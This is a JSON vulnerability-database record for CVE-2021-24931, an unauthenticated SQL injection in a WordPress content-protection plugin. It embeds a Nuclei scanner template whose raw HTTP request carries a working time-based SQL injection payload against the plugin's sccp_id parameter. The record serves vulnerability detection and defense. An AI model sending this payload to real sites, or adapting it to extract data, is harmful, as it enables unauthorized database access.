{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-24931/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-24931/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-24931/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-24931/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-24931/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-24931"},"sightings":{"href":"/api/v1/sightings/cve-2021-24931"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-24931.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-24931\n\ninfo:\n  name: WordPress Secure Copy Content Protection and Content Locking <2.8.2 - SQL Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    WordPress Secure Copy Content Protection and Content Locking plugin before 2.8.2 contains a SQL injection vulnerability. The plugin does not escape the sccp_id parameter of the ays_sccp_results_export_file AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n  impact: |\n    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.\n  remediation: Fixed in version 2.8.2.\n  reference:\n    - https://wpscan.com/vulnerability/1cd52d61-af75-43ed-9b99-b46c471c4231\n    - https://wordpress.org/plugins/secure-copy-content-protection/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-24931\n    - http://packetstormsecurity.com/files/165946/WordPress-Secure-Copy-Content-Protection-And-Content-Locking-2.8.1-SQL-Injection.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-24931\n    cwe-id: CWE-89\n    epss-score: 0.78812\n    epss-percentile: 0.99572\n    cpe: cpe:2.3:a:ays-pro:secure_copy_content_protection_and_content_locking:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ays-pro\n    product: secure_copy_content_protection_and_content_locking\n    framework: wordpress\n  tags: time-based-sqli,cve2021,cve,wp-plugin,wp,packetstorm,unauth,wpscan,sqli,wordpress,secure-copy-content-protection,ays-pro,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout: 20s\n        GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=6'\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"{\\\"status\\\":true\")'\n        condition: and\n# digest: 4b0a004830460221008d11edbfda299374df866e5af8debb980411c841797f401abedd160d45df2edd022100cecb44eadd42a0f4b8c78872d72c539aa03176973892f3d9084f800c2dec1008:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-24931"}